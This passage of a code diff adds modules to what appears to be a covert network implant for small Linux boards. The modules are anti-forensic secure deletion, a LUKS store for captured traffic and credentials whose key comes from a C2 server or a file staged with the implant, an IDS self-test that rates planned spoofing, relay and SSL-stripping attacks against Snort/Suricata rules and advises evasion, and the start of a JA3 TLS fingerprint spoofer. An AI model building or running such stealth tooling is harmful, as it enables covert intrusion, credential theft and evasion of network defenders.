["shred", "-n", str(passes), "-z", "-u", path],
|
||||
capture_output=True, timeout=60,
|
||||
)
|
||||
if result.returncode == 0:
|
||||
return True
|
||||
except FileNotFoundError:
|
||||
pass
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
# Fallback: manual overwrite
|
||||
try:
|
||||
size = os.path.getsize(path)
|
||||
with open(path, "r+b") as f:
|
||||
# Pass 1: random
|
||||
f.seek(0)
|
||||
f.write(os.urandom(size))
|
||||
f.flush()
|
||||
os.fsync(f.fileno())
|
||||
# Pass 2: zeros
|
||||
f.seek(0)
|
||||
f.write(b"\x00" * size)
|
||||
f.flush()
|
||||
os.fsync(f.fileno())
|
||||
# Pass 3: random
|
||||
f.seek(0)
|
||||
f.write(os.urandom(size))
|
||||
f.flush()
|
||||
os.fsync(f.fileno())
|
||||
os.unlink(path)
|
||||
return True
|
||||
except Exception:
|
||||
# Last resort: just delete
|
||||
try:
|
||||
os.unlink(path)
|
||||
except OSError:
|
||||
return False
|
||||
return True
|
||||
@@ -0,0 +1,296 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Encrypted storage module — LUKS container for all persistent data.
|
||||
|
||||
Manages a LUKS2 encrypted container for PCAPs, logs, credentials, and
|
||||
intelligence data. Key derivation attempts a network-derived key first
|
||||
(HKDF with CPU serial + C2-fetched component), falling back to a config
|
||||
passphrase if C2 is unreachable.
|
||||
"""
|
||||
|
||||
import json
|
||||
import logging
|
||||
import os
|
||||
import shutil
|
||||
import subprocess
|
||||
import time
|
||||
from pathlib import Path
|
||||
from typing import Optional
|
||||
|
||||
from modules.base import BaseModule
|
||||
from utils.crypto import LUKSContainer, derive_network_key
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
# Subdirectories created inside the mounted LUKS container
|
||||
STORAGE_SUBDIRS = ("pcaps", "logs", "baseline", "intel", "credentials", "config")
|
||||
|
||||
|
||||
class EncryptedStorage(BaseModule):
|
||||
"""LUKS encrypted storage with network-derived key unlock."""
|
||||
|
||||
name = "encrypted_storage"
|
||||
module_type = "stealth"
|
||||
priority = -500 # Highest — other modules depend on storage
|
||||
requires_root = True
|
||||
|
||||
def __init__(self, bus, state, config, engine=None):
|
||||
super().__init__(bus, state, config, engine)
|
||||
self._luks: Optional[LUKSContainer] = None
|
||||
self._mounted = False
|
||||
self._storage_path: Optional[str] = None
|
||||
self._container_path: Optional[str] = None
|
||||
self._passphrase: Optional[bytes] = None
|
||||
self._using_fallback_key = False
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# BaseModule interface
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def start(self) -> None:
|
||||
if self._running:
|
||||
return
|
||||
|
||||
install_path = self.config.get("device", {}).get("install_path", "/opt/.cache/bb")
|
||||
self._storage_path = os.path.join(install_path, "storage")
|
||||
|
||||
container_rel = self.config.get("security", {}).get(
|
||||
"luks_container", "storage/encrypted.luks"
|
||||
)
|
||||
self._container_path = os.path.join(install_path, container_rel)
|
||||
|
||||
# Derive passphrase
|
||||
self._passphrase = self._derive_passphrase()
|
||||
|
||||
# Initialize LUKS container
|
||||
mapper_name = "bb_storage"
|
||||
self._luks = LUKSContainer(
|
||||
container_path=self._container_path,
|
||||
mount_point=self._storage_path,
|
||||
mapper_name=mapper_name,
|
||||
)
|
||||
|
||||
# Create container if it doesn't exist
|
||||
if not os.path.isfile(self._container_path):
|
||||
logger.info("Creating new LUKS container at %s", self._container_path)
|
||||
os.makedirs(os.path.dirname(self._container_path), exist_ok=True)
|
||||
size_mb = self._get_container_size()
|
||||
if not self._luks.create(size_mb, self._passphrase):
|
||||
logger.error("Failed to create LUKS container")
|
||||
self.state.set_module_status(self.name, "error")
|
||||
return
|
||||
|
||||
# Format the filesystem inside the container
|
||||
if not self._format_filesystem():
|
||||
logger.error("Failed to format LUKS filesystem")
|
||||
self.state.set_module_status(self.name, "error")
|
||||
return
|
||||
|
||||
# Open and mount
|
||||
if not self._luks.is_open:
|
||||
if not self._luks.open(self._passphrase):
|
||||
logger.error("Failed to open LUKS container — wrong key?")
|
||||
self.state.set_module_status(self.name, "error")
|
||||
return
|
||||
|
||||
self._mounted = True
|
||||
|
||||
# Create subdirectories
|
||||
self._create_subdirs()
|
||||
|
||||
self._running = True
|
||||
self._pid = os.getpid()
|
||||
self._start_time = time.time()
|
||||
self.state.set_module_status(self.name, "running", pid=os.getpid())
|
||||
|
||||
key_type = "fallback" if self._using_fallback_key else "network-derived"
|
||||
logger.info(
|
||||
"EncryptedStorage mounted at %s (key: %s)",
|
||||
self._storage_path, key_type,
|
||||
)
|
||||
|
||||
def stop(self) -> None:
|
||||
if not self._running:
|
||||
return
|
||||
|
||||
# Sync filesystem
|
||||
try:
|
||||
subprocess.run(["sync"], capture_output=True, timeout=10)
|
||||
except subprocess.SubprocessError:
|
||||
pass
|
||||
|
||||
# Unmount and close LUKS
|
||||
if self._luks and self._luks.is_open:
|
||||
if not self._luks.close():
|
||||
logger.warning("Failed to cleanly close LUKS container")
|
||||
|
||||
self._mounted = False
|
||||
self._running = False
|
||||
|
||||
# Scrub passphrase from memory (best effort)
|
||||
if self._passphrase:
|
||||
self._passphrase = b"\x00" * len(self._passphrase)
|
||||
self._passphrase = None
|
||||
|
||||
self.state.set_module_status(self.name, "stopped")
|
||||
logger.info("EncryptedStorage unmounted and closed")
|
||||
|
||||
def status(self) -> dict:
|
||||
result = {
|
||||
"running": self._running,
|
||||
"pid": self._pid,
|
||||
"uptime": time.time() - self._start_time if self._start_time else 0,
|
||||
"mounted": self._mounted,
|
||||
"using_fallback_key": self._using_fallback_key,
|
||||
}
|
||||
|
||||
if self._mounted and self._storage_path:
|
||||
try:
|
||||
stat = os.statvfs(self._storage_path)
|
||||
total = stat.f_blocks * stat.f_frsize
|
||||
free = stat.f_bavail * stat.f_frsize
|
||||
used = total - free
|
||||
result["container_size_mb"] = total / (1024 * 1024)
|
||||
result["used_mb"] = used / (1024 * 1024)
|
||||
result["free_mb"] = free / (1024 * 1024)
|
||||
except OSError:
|
||||
pass
|
||||
|
||||
return result
|
||||
|
||||
def configure(self, config: dict) -> None:
|
||||
self.config.update(config)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Public API
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def get_storage_path(self) -> Optional[str]:
|
||||
"""Return the mount point for the encrypted storage, or None if not mounted."""
|
||||
return self._storage_path if self._mounted else None
|
||||
|
||||
def get_subdir(self, name: str) -> Optional[str]:
|
||||
"""Return the path to a named subdirectory inside encrypted storage."""
|
||||
if not self._mounted or not self._storage_path:
|
||||
return None
|
||||
path = os.path.join(self._storage_path, name)
|
||||
return path if os.path.isdir(path) else None
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Key derivation
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _derive_passphrase(self) -> bytes:
|
||||
"""Attempt network-derived key first, then fall back to config passphrase."""
|
||||
# Try network-derived key: HKDF(CPU serial + C2 component)
|
||||
cpu_serial = self._get_cpu_serial()
|
||||
c2_component = self._fetch_c2_key_component()
|
||||
|
||||
if c2_component:
|
||||
try:
|
||||
key = derive_network_key(
|
||||
network_secret=c2_component,
|
||||
device_serial=cpu_serial,
|
||||
)
|
||||
self._using_fallback_key = False
|
||||
logger.debug("Using network-derived LUKS key")
|
||||
return key
|
||||
except Exception as exc:
|
||||
logger.warning("Network key derivation failed: %s", exc)
|
||||
|
||||
# Fallback: use a config-based passphrase
|
||||
self._using_fallback_key = True
|
||||
logger.info("C2 unreachable — using fallback LUKS key")
|
||||
|
||||
# Derive from CPU serial + static salt (still better than plaintext)
|
||||
fallback_salt = b"bb-fallback-luks-key-v1"
|
||||
import hashlib
|
||||
return hashlib.pbkdf2_hmac("sha256", cpu_serial, fallback_salt, 100_000)
|
||||
|
||||
def _get_cpu_serial(self) -> bytes:
|
||||
"""Read CPU serial from /proc/cpuinfo or /sys/firmware/devicetree."""
|
||||
# Try /proc/cpuinfo Serial field (RPi, OPi)
|
||||
try:
|
||||
with open("/proc/cpuinfo", "r") as f:
|
||||
for line in f:
|
||||
if line.strip().startswith("Serial"):
|
||||
serial = line.split(":", 1)[1].strip()
|
||||
return serial.encode("utf-8")
|
||||
except (IOError, IndexError):
|
||||
pass
|
||||
|
||||
# Try machine-id as fallback
|
||||
try:
|
||||
with open("/etc/machine-id", "r") as f:
|
||||
return f.read().strip().encode("utf-8")
|
||||
except IOError:
|
||||
pass
|
||||
|
||||
# Last resort: hostname-based
|
||||
import socket
|
||||
return socket.gethostname().encode("utf-8")
|
||||
|
||||
def _fetch_c2_key_component(self) -> Optional[bytes]:
|
||||
"""Attempt to fetch the key component from C2.
|
||||
|
||||
Returns None if C2 is unreachable. The actual C2 client
|
||||
will be provided by the connectivity module.
|
||||
"""
|
||||
# TODO: implement actual C2 key fetch via connectivity module
|
||||
# For now, check if a pre-staged key file exists (deployed with implant)
|
||||
key_paths = [
|
||||
"/opt/.cache/bb/config/luks_network_key",
|
||||
os.path.expanduser("~/.implant/luks_network_key"),
|
||||
]
|
||||
for path in key_paths:
|
||||
try:
|
||||
if os.path.isfile(path):
|
||||
with open(path, "rb") as f:
|
||||
data = f.read(64)
|
||||
if data:
|
||||
return data
|
||||
except (IOError, PermissionError):
|
||||
pass
|
||||
|
||||
return None
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Container setup
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _get_container_size(self) -> int:
|
||||
"""Determine LUKS container size in MB based on available disk."""
|
||||
try:
|
||||
stat = os.statvfs(os.path.dirname(self._container_path))
|
||||
free_mb = (stat.f_bavail * stat.f_frsize) / (1024 * 1024)
|
||||
# Use 70% of free space, max 8GB, min 256MB
|
||||
size = int(free_mb * 0.7)
|
||||
return max(256, min(size, 8192))
|
||||
except OSError:
|
||||
return 1024 # Default 1GB
|
||||
|
||||
def _format_filesystem(self) -> bool:
|
||||
"""Open the container and format it with ext4."""
|
||||
try:
|
||||
# Open LUKS to get the mapper device
|
||||
if not self._luks.open(self._passphrase):
|
||||
return False
|
||||
|
||||
# Format with ext4 (no journal for SBC — reduce writes)
|
||||
subprocess.run(
|
||||
["mkfs.ext4", "-O", "^has_journal", "-q", self._luks.device_path],
|
||||
check=True, capture_output=True,
|
||||
)
|
||||
|
||||
# Close — will be reopened in start()
|
||||
self._luks.close()
|
||||
return True
|
||||
except subprocess.CalledProcessError as exc:
|
||||
logger.error("mkfs.ext4 failed: %s", exc)
|
||||
return False
|
||||
|
||||
def _create_subdirs(self) -> None:
|
||||
"""Create standard subdirectories inside the mounted storage."""
|
||||
for subdir in STORAGE_SUBDIRS:
|
||||
path = os.path.join(self._storage_path, subdir)
|
||||
os.makedirs(path, exist_ok=True)
|
||||
logger.debug("Storage subdirectories created: %s", ", ".join(STORAGE_SUBDIRS))
|
||||
@@ -0,0 +1,397 @@
|
||||
#!/usr/bin/env python3
|
||||
"""IDS self-testing module: assess detection risk of planned actions against
|
||||
Snort/Suricata community rules before activation."""
|
||||
|
||||
import logging
|
||||
import os
|
||||
import re
|
||||
import time
|
||||
from dataclasses import dataclass, field
|
||||
from pathlib import Path
|
||||
from typing import Optional
|
||||
|
||||
from modules.base import BaseModule
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
# Detection risk levels
|
||||
RISK_LOW = "LOW"
|
||||
RISK_MEDIUM = "MEDIUM"
|
||||
RISK_HIGH = "HIGH"
|
||||
RISK_CRITICAL = "CRITICAL"
|
||||
|
||||
# Action-to-risk baseline mapping (before rule checking)
|
||||
ACTION_RISK_BASELINE = {
|
||||
# Passive (LOW)
|
||||
"passive_sniff": RISK_LOW,
|
||||
"dns_logging": RISK_LOW,
|
||||
"host_discovery_passive": RISK_LOW,
|
||||
"credential_sniff": RISK_LOW,
|
||||
"pcap_capture": RISK_LOW,
|
||||
# Medium (detectable with tuned IDS)
|
||||
"arp_spoof": RISK_MEDIUM,
|
||||
"dhcp_spoof": RISK_MEDIUM,
|
||||
"dns_spoof": RISK_MEDIUM,
|
||||
"nbns_spoof": RISK_MEDIUM,
|
||||
"llmnr_spoof": RISK_MEDIUM,
|
||||
"mdns_spoof": RISK_MEDIUM,
|
||||
"evil_twin": RISK_MEDIUM,
|
||||
"wpad_spoof": RISK_MEDIUM,
|
||||
"vlan_hop": RISK_MEDIUM,
|
||||
# High (commonly detected)
|
||||
"responder": RISK_HIGH,
|
||||
"ntlm_relay": RISK_HIGH,
|
||||
"kerberoast": RISK_HIGH,
|
||||
"smb_relay": RISK_HIGH,
|
||||
"http_proxy_inject": RISK_HIGH,
|
||||
"port_scan": RISK_HIGH,
|
||||
# Critical (almost certainly detected)
|
||||
"mitmproxy_ssl_intercept": RISK_CRITICAL,
|
||||
"ssl_strip": RISK_CRITICAL,
|
||||
"dns_hijack_external": RISK_CRITICAL,
|
||||
"exploit_delivery": RISK_CRITICAL,
|
||||
}
|
||||
|
||||
# Bettercap caplet action to risk mapping
|
||||
CAPLET_ACTION_RISK = {
|
||||
"net.probe": RISK_MEDIUM,
|
||||
"net.sniff": RISK_LOW,
|
||||
"arp.spoof": RISK_MEDIUM,
|
||||
"dns.spoof": RISK_MEDIUM,
|
||||
"dhcp6.spoof": RISK_MEDIUM,
|
||||
"http.proxy": RISK_HIGH,
|
||||
"https.proxy": RISK_CRITICAL,
|
||||
"tcp.proxy": RISK_HIGH,
|
||||
"wifi.deauth": RISK_HIGH,
|
||||
"wifi.ap": RISK_MEDIUM,
|
||||
"any.proxy": RISK_HIGH,
|
||||
"hid.inject": RISK_CRITICAL,
|
||||
}
|
||||
|
||||
|
||||
@dataclass
|
||||
class RiskAssessment:
|
||||
"""Result of an IDS risk assessment."""
|
||||
action: str
|
||||
risk_level: str
|
||||
matching_sids: list[str] = field(default_factory=list)
|
||||
matching_rules: list[str] = field(default_factory=list)
|
||||
recommendation: str = ""
|
||||
timestamp: float = field(default_factory=time.time)
|
||||
|
||||
def to_dict(self) -> dict:
|
||||
return {
|
||||
"action": self.action,
|
||||
"risk_level": self.risk_level,
|
||||
"matching_sids": self.matching_sids,
|
||||
"matching_rules": self.matching_rules,
|
||||
"recommendation": self.recommendation,
|
||||
"timestamp": self.timestamp,
|
||||
}
|
||||
|
||||
|
||||
class IDSTester(BaseModule):
|
||||
"""On-demand IDS risk assessment: check planned actions against known
|
||||
Snort/Suricata signatures before module activation."""
|
||||
|
||||
name = "ids_tester"
|
||||
module_type = "stealth"
|
||||
priority = -100
|
||||
requires_root = False
|
||||
|
||||
def __init__(self, bus, state, config, engine=None):
|
||||
super().__init__(bus, state, config, engine)
|
||||
self._rules_dir = config.get("rules_dir", "data/ids_rules")
|
||||
self._rules: list[dict] = []
|
||||
self._last_assessment: Optional[RiskAssessment] = None
|
||||
self._assessments: list[RiskAssessment] = []
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# BaseModule interface
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def start(self) -> None:
|
||||
self._running = True
|
||||
self._start_time = time.time()
|
||||
self._pid = os.getpid()
|
||||
|
||||
self._load_rules()
|
||||
|
||||
self.state.set_module_status(self.name, "running", pid=self._pid)
|
||||
self.bus.emit("MODULE_STARTED", {"module": self.name}, source_module=self.name)
|
||||
logger.info("IDSTester ready — %d rules loaded", len(self._rules))
|
||||
|
||||
def stop(self) -> None:
|
||||
self._running = False
|
||||
self.state.set_module_status(self.name, "stopped")
|
||||
self.bus.emit("MODULE_STOPPED", {"module": self.name}, source_module=self.name)
|
||||
logger.info("IDSTester stopped")
|
||||
|
||||
def status(self) -> dict:
|
||||
return {
|
||||
"running": self._running,
|
||||
"pid": self._pid,
|
||||
"uptime": time.time() - self._start_time if self._start_time else 0,
|
||||
"rules_loaded": len(self._rules),
|
||||
"last_assessment_time": self._last_assessment.timestamp if self._last_assessment else None,
|
||||
"last_assessment_action": self._last_assessment.action if self._last_assessment else None,
|
||||
"last_assessment_risk": self._last_assessment.risk_level if self._last_assessment else None,
|
||||
"total_assessments": len(self._assessments),
|
||||
}
|
||||
|
||||
def configure(self, config: dict) -> None:
|
||||
if "rules_dir" in config:
|
||||
self._rules_dir = config["rules_dir"]
|
||||
self._load_rules()
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Public API: risk assessment
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def assess_risk(self, action: str) -> dict:
|
||||
"""Assess detection risk for a planned action.
|
||||
|
||||
Args:
|
||||
action: Action identifier (e.g., 'arp_spoof', 'responder', 'mitmproxy_ssl_intercept')
|
||||
|
||||
Returns:
|
||||
dict with risk_level, matching_sids, recommendation
|
||||
"""
|
||||
# Start with baseline risk
|
||||
baseline_risk = ACTION_RISK_BASELINE.get(action, RISK_MEDIUM)
|
||||
|
||||
# Check against loaded IDS rules
|
||||
matching_sids = []
|
||||
matching_rules = []
|
||||
keywords = self._action_to_keywords(action)
|
||||
|
||||
for rule in self._rules:
|
||||
rule_text = rule.get("raw", "").lower()
|
||||
rule_msg = rule.get("msg", "").lower()
|
||||
for keyword in keywords:
|
||||
if keyword in rule_text or keyword in rule_msg:
|
||||
sid = rule.get("sid", "unknown")
|
||||
matching_sids.append(str(sid))
|
||||
matching_rules.append(rule.get("msg", "unknown"))
|
||||
break
|
||||
|
||||
# Escalate risk if IDS rules match
|
||||
final_risk = baseline_risk
|
||||
if matching_sids:
|
||||
risk_order = [RISK_LOW, RISK_MEDIUM, RISK_HIGH, RISK_CRITICAL]
|
||||
current_idx = risk_order.index(baseline_risk)
|
||||
escalation = min(len(matching_sids), 2) # Max +2 levels
|
||||
final_risk = risk_order[min(current_idx + escalation, len(risk_order) - 1)]
|
||||
|
||||
recommendation = self._generate_recommendation(action, final_risk, len(matching_sids))
|
||||
|
||||
assessment = RiskAssessment(
|
||||
action=action,
|
||||
risk_level=final_risk,
|
||||
matching_sids=matching_sids[:20], # Cap at 20
|
||||
matching_rules=matching_rules[:20],
|
||||
recommendation=recommendation,
|
||||
)
|
||||
|
||||
self._last_assessment = assessment
|
||||
self._assessments.append(assessment)
|
||||
# Keep only last 100 assessments
|
||||
if len(self._assessments) > 100:
|
||||
self._assessments = self._assessments[-100:]
|
||||
|
||||
logger.info(
|
||||
"Risk assessment: %s -> %s (%d matching SIDs)",
|
||||
action, final_risk, len(matching_sids),
|
||||
)
|
||||
|
||||
return assessment.to_dict()
|
||||
|
||||
def assess_caplet(self, caplet_content: str) -> list[dict]:
|
||||
"""Assess detection risk for bettercap caplet actions.
|
||||
|
||||
Args:
|
||||
caplet_content: Raw caplet file content
|
||||
|
||||
Returns:
|
||||
List of risk assessment dicts, one per detected action
|
||||
"""
|
||||
results = []
|
||||
for line in caplet_content.splitlines():
|
||||
line = line.strip()
|
||||
if not line or line.startswith("#"):
|
||||
continue
|
||||
# Check each known caplet action
|
||||
for action_prefix, risk in CAPLET_ACTION_RISK.items():
|
||||
if line.startswith(action_prefix) or f" {action_prefix}" in line:
|
||||
assessment = self.assess_risk(action_prefix.replace(".", "_"))
|
||||
assessment["caplet_line"] = line
|
||||
results.append(assessment)
|
||||
break
|
||||
return results
|
||||
|
||||
def preflight_check(self, module_name: str, actions: list[str]) -> dict:
|
||||
"""Pre-flight validation: assess all actions a module will perform.
|
||||
|
||||
Args:
|
||||
module_name: Name of the module to be activated
|
||||
actions: List of action identifiers the module will perform
|
||||
|
||||
Returns:
|
||||
dict with overall_risk, action_risks, go_nogo recommendation
|
||||
"""
|
||||
action_risks = []
|
||||
risk_order = [RISK_LOW, RISK_MEDIUM, RISK_HIGH, RISK_CRITICAL]
|
||||
max_risk_idx = 0
|
||||
|
||||
for action in actions:
|
||||
result = self.assess_risk(action)
|
||||
action_risks.append(result)
|
||||
try:
|
||||
idx = risk_order.index(result["risk_level"])
|
||||
max_risk_idx = max(max_risk_idx, idx)
|
||||
except ValueError:
|
||||
pass
|
||||
|
||||
overall_risk = risk_order[max_risk_idx]
|
||||
|
||||
# go/nogo based on overall risk
|
||||
if overall_risk == RISK_CRITICAL:
|
||||
go_nogo = "NO-GO"
|
||||
summary = f"Module '{module_name}' has CRITICAL detection risk — activation NOT recommended"
|
||||
elif overall_risk == RISK_HIGH:
|
||||
go_nogo = "CAUTION"
|
||||
summary = f"Module '{module_name}' has HIGH detection risk — activate only if IDS evasion is confirmed"
|
||||
elif overall_risk == RISK_MEDIUM:
|
||||
go_nogo = "GO"
|
||||
summary = f"Module '{module_name}' has MEDIUM detection risk — proceed with monitoring"
|
||||
else:
|
||||
go_nogo = "GO"
|
||||
summary = f"Module '{module_name}' has LOW detection risk — safe to activate"
|
||||
|
||||
return {
|
||||
"module": module_name,
|
||||
"overall_risk": overall_risk,
|
||||
"go_nogo": go_nogo,
|
||||
"summary": summary,
|
||||
"action_risks": action_risks,
|
||||
}
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Internal: rule loading
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _load_rules(self) -> None:
|
||||
"""Load Snort/Suricata rules from the rules directory."""
|
||||
self._rules = []
|
||||
rules_path = Path(self._rules_dir)
|
||||
if not rules_path.is_dir():
|
||||
logger.info("IDS rules directory not found: %s", self._rules_dir)
|
||||
return
|
||||
|
||||
rule_files = list(rules_path.glob("*.rules"))
|
||||
if not rule_files:
|
||||
logger.info("No .rules files in %s", self._rules_dir)
|
||||
return
|
||||
|
||||
for rule_file in rule_files:
|
||||
try:
|
||||
with open(rule_file, "r", errors="replace") as f:
|
||||
for line in f:
|
||||
line = line.strip()
|
||||
if not line or line.startswith("#"):
|
||||
continue
|
||||
parsed = self._parse_rule(line)
|
||||
if parsed:
|
||||
self._rules.append(parsed)
|
||||
except Exception:
|
||||
logger.exception("Failed to parse rules file: %s", rule_file)
|
||||
|
||||
logger.info("Loaded %d IDS rules from %d files", len(self._rules), len(rule_files))
|
||||
|
||||
@staticmethod
|
||||
def _parse_rule(line: str) -> Optional[dict]:
|
||||
"""Parse a single Snort/Suricata rule line into a dict."""
|
||||
# Extract SID
|
||||
sid_match = re.search(r"sid:\s*(\d+)", line)
|
||||
sid = sid_match.group(1) if sid_match else None
|
||||
|
||||
# Extract message
|
||||
msg_match = re.search(r'msg:\s*"([^"]*)"', line)
|
||||
msg = msg_match.group(1) if msg_match else ""
|
||||
|
||||
# Extract classtype
|
||||
class_match = re.search(r"classtype:\s*([^;]+)", line)
|
||||
classtype = class_match.group(1).strip() if class_match else ""
|
||||
|
||||
if not sid:
|
||||
return None
|
||||
|
||||
return {
|
||||
"sid": sid,
|
||||
"msg": msg,
|
||||
"classtype": classtype,
|
||||
"raw": line,
|
||||
}
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Internal: keyword mapping
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
@staticmethod
|
||||
def _action_to_keywords(action: str) -> list[str]:
|
||||
"""Map action identifiers to IDS rule keywords for matching."""
|
||||
keyword_map = {
|
||||
"arp_spoof": ["arp", "spoof", "poison", "gratuitous arp", "arp-scan"],
|
||||
"dns_spoof": ["dns", "spoof", "dns poison", "dns hijack"],
|
||||
"dhcp_spoof": ["dhcp", "rogue dhcp", "dhcp spoof"],
|
||||
"responder": ["responder", "llmnr", "nbns", "nbt-ns", "mdns", "wpad", "netbios"],
|
||||
"ntlm_relay": ["ntlm", "relay", "smb relay", "ntlmrelay"],
|
||||
"smb_relay": ["smb", "relay", "smb relay"],
|
||||
"kerberoast": ["kerberos", "kerberoast", "tgs-rep", "spn"],
|
||||
"mitmproxy_ssl_intercept": ["mitm", "ssl intercept", "tls intercept", "ssl strip"],
|
||||
"ssl_strip": ["ssl strip", "sslstrip", "hsts bypass"],
|
||||
"port_scan": ["port scan", "nmap", "syn scan", "tcp scan"],
|
||||
"evil_twin": ["evil twin", "rogue ap", "fake ap", "deauth"],
|
||||
"nbns_spoof": ["nbns", "nbt-ns", "netbios"],
|
||||
"llmnr_spoof": ["llmnr", "multicast dns"],
|
||||
"mdns_spoof": ["mdns", "multicast dns", "avahi"],
|
||||
"wpad_spoof": ["wpad", "proxy auto", "proxy autoconfig"],
|
||||
"vlan_hop": ["vlan", "802.1q", "dtp", "double tag"],
|
||||
"http_proxy_inject": ["http inject", "http proxy", "http mitm"],
|
||||
"net_probe": ["arp scan", "net probe", "network scan", "host discovery"],
|
||||
"net_sniff": ["sniff", "promiscuous", "pcap"],
|
||||
"wifi_deauth": ["deauth", "disassoc", "wifi attack"],
|
||||
"wifi_ap": ["rogue ap", "fake ap", "evil twin"],
|
||||
}
|
||||
# Normalize action name
|
||||
action_lower = action.lower().replace(".", "_")
|
||||
keywords = keyword_map.get(action_lower, [action_lower.replace("_", " ")])
|
||||
# Always include the raw action name
|
||||
keywords.append(action_lower.replace("_", " "))
|
||||
return list(set(keywords))
|
||||
|
||||
@staticmethod
|
||||
def _generate_recommendation(action: str, risk: str, sid_count: int) -> str:
|
||||
"""Generate a human-readable recommendation."""
|
||||
if risk == RISK_CRITICAL:
|
||||
return (
|
||||
f"CRITICAL: '{action}' matches {sid_count} IDS signatures. "
|
||||
"Do NOT activate without confirmed IDS blind spots or rule suppression. "
|
||||
"Consider alternative approaches or wait for off-hours."
|
||||
)
|
||||
elif risk == RISK_HIGH:
|
||||
return (
|
||||
f"HIGH: '{action}' is commonly detected ({sid_count} matching SIDs). "
|
||||
"Verify target network has no Suricata/Snort/Zeek monitoring, or use "
|
||||
"traffic mimicry to reduce signature exposure."
|
||||
)
|
||||
elif risk == RISK_MEDIUM:
|
||||
return (
|
||||
f"MEDIUM: '{action}' may be detected by tuned IDS ({sid_count} matching SIDs). "
|
||||
"Proceed with caution — monitor for alerts and be ready to back off."
|
||||
)
|
||||
else:
|
||||
return (
|
||||
f"LOW: '{action}' has minimal detection footprint ({sid_count} matching SIDs). "
|
||||
"Safe to proceed with standard OPSEC."
|
||||
)
|
||||
@@ -0,0 +1,354 @@
|
||||
#!/usr/bin/env python3
|
||||
"""JA3 fingerprint spoofing module: rewrite outbound TLS ClientHello to match
|
||||
common browser fingerprints, defeating JA3-based network detection."""
|
||||
|
||||
import json
|
||||
import logging
|
||||
import os
|
||||
import ssl
|
||||
import struct
|
||||
import subprocess
|
||||
import time
|
||||
import threading
|
||||
from pathlib import Path
|
||||
from typing import Optional
|
||||
|
||||
from modules.base import BaseModule
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
# Built-in JA3 fingerprint profiles (fallback if data/ja3_fingerprints.db absent)
|
||||
# Format: {name: {ja3_hash, cipher_suites, extensions, description}}
|
||||
BUILTIN_PROFILES = {
|
||||
"chrome_120_win": {
|
||||
"ja3_hash": "cd08e31494f9531f560d64c695473da9",
|
||||
"description": "Chrome 120 on Windows 10/11",
|
||||
"cipher_suites": [
|
||||
0x1301, 0x1302, 0x1303, # TLS 1.3: AES_128_GCM, AES_256_GCM, CHACHA20
|
||||
0xc02b, 0xc02f, 0xc02c, 0xc030, # ECDHE_ECDSA/RSA with AES-GCM
|
||||
0xcca9, 0xcca8, # ECDHE with CHACHA20
|
||||
0xc013, 0xc014, # ECDHE_RSA with AES-CBC
|
||||
0x009c, 0x009d, # AES-GCM
|
||||
0x002f, 0x0035, # AES-CBC
|
||||
],
|
||||
"extensions": [0, 23, 65281, 10, 11, 35, 16, 5, 13, 18, 51, 45, 43, 27, 17513, 21],
|
||||
"elliptic_curves": [0x001d, 0x0017, 0x0018], # x25519, secp256r1, secp384r1
|
||||
"ec_point_formats": [0], # uncompressed
|
||||
},
|
||||
"firefox_121_win": {
|
||||
"ja3_hash": "579ccef312d18482fc42e2b822ca2430",
|
||||
"description": "Firefox 121 on Windows 10/11",
|
||||
"cipher_suites": [
|
||||
0x1301, 0x1303, 0x1302,
|
||||
0xc02b, 0xc02f, 0xcca9, 0xcca8,
|
||||
0xc02c, 0xc030, 0xc013, 0xc014,
|
||||
0x009c, 0x009d, 0x002f, 0x0035,
|
||||
],
|
||||
"extensions": [0, 23, 65281, 10, 11, 35, 16, 5, 34, 51, 43, 13, 45, 28, 21],
|
||||
"elliptic_curves": [0x001d, 0x0017, 0x0018, 0x0019],
|
||||
"ec_point_formats": [0],
|
||||
},
|
||||
"edge_120_win": {
|
||||
"ja3_hash": "b32309a26951912be7dba376398abc3b",
|
||||
"description": "Edge 120 on Windows 10/11",
|
||||
"cipher_suites": [
|
||||
0x1301, 0x1302, 0x1303,
|
||||
0xc02b, 0xc02f, 0xc02c, 0xc030,
|
||||
0xcca9, 0xcca8,
|
||||
0xc013, 0xc014,
|
||||
0x009c, 0x009d, 0x002f, 0x0035,
|
||||
],
|
||||
"extensions": [0, 23, 65281, 10, 11, 35, 16, 5, 13, 18, 51, 45, 43, 27, 17513, 21],
|
||||
"elliptic_curves": [0x001d, 0x0017, 0x0018],
|
||||
"ec_point_formats": [0],
|
||||
},
|
||||
"chrome_120_linux": {
|
||||
"ja3_hash": "a17a3bfd385b62b1e15606dbd08c9f89",
|
||||
"description": "Chrome 120 on Linux",
|
||||
"cipher_suites": [
|
||||
0x1301, 0x1302, 0x1303,
|
||||
0xc02b, 0xc02f, 0xc02c, 0xc030,
|
||||
0xcca9, 0xcca8,
|
||||
0xc013, 0xc014,
|
||||
0x009c, 0x009d, 0x002f, 0x0035,
|
||||
],
|
||||
"extensions": [0, 23, 65281, 10, 11, 35, 16, 5, 13, 18, 51, 45, 43, 27, 17513, 21],
|
||||
"elliptic_curves": [0x001d, 0x0017, 0x0018],
|
||||
"ec_point_formats": [0],
|
||||
},
|
||||
}
|
||||
|
||||
|
||||
class JA3Spoofer(BaseModule):
|
||||
"""Spoof JA3 TLS fingerprints on outbound HTTPS connections to match
|
||||
common browser profiles, evading JA3-based detection."""
|
||||
|
||||
name = "ja3_spoofer"
|
||||
module_type = "stealth"
|
||||
